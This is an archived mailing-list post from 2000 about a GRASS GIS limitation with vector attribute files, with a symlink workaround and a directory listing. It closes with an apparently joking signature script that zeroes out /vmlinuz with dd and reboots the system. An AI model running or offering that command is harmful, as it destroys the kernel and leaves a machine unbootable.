Questions working with vector data

Eric G . Miller egm2 at
Fri Jun 23 22:48:11 EDT 2000

On Fri, Jun 23, 2000 at 09:55:37PM +0000, David D Gray wrote:
> > I also have not been able to find any trace of having imported the
> > journey to work data.  Is there something to look for that I'm
> > missing?
> > 
> I htink the import just failed. There is supposedly a module.
> Maybe you can get that to work.

<Note>At least in version 5.0.7beta</Note> will create extra files for each additional attribute, but
GRASS will only know about one of them.  It's a major limitation of
vector data in GRASS, IMHO.  I get around this by using a symlink in
dig_cats that is the name of the vector coverage, then changing it to
point at the attribute file I'm currently interested in. For instance, a
geology vector layer:

$ ls dig_cats
geol_exp@            geol_exp.geoform_id  geol_exp.rings_ok
geol_exp.descreclas  geol_exp.poly#       geol_exp.rocktype
geol_exp.descriptio  geol_exp.ptype       geol_exp.rocktype_n
geol_exp.formation   geol_exp.reclass     geol_exp.subclass
geol_exp.geoform_    geol_exp.rings_nok   geol_exp.subclass#

$ ls -l dig_cats/geol_exp
lrwxrwxrwx    1 felix    felix          14 Apr 30 12:50
	dig_cats/geol_exp -> geol_exp.ptype

If you're interested in two attributes at the same time your SOL. ;(

I think converting the attribute data to RIM or PostgreSQL can be used
to get around this.  Then you might use a selection query to get the
ids and then use that.

#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
     count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now

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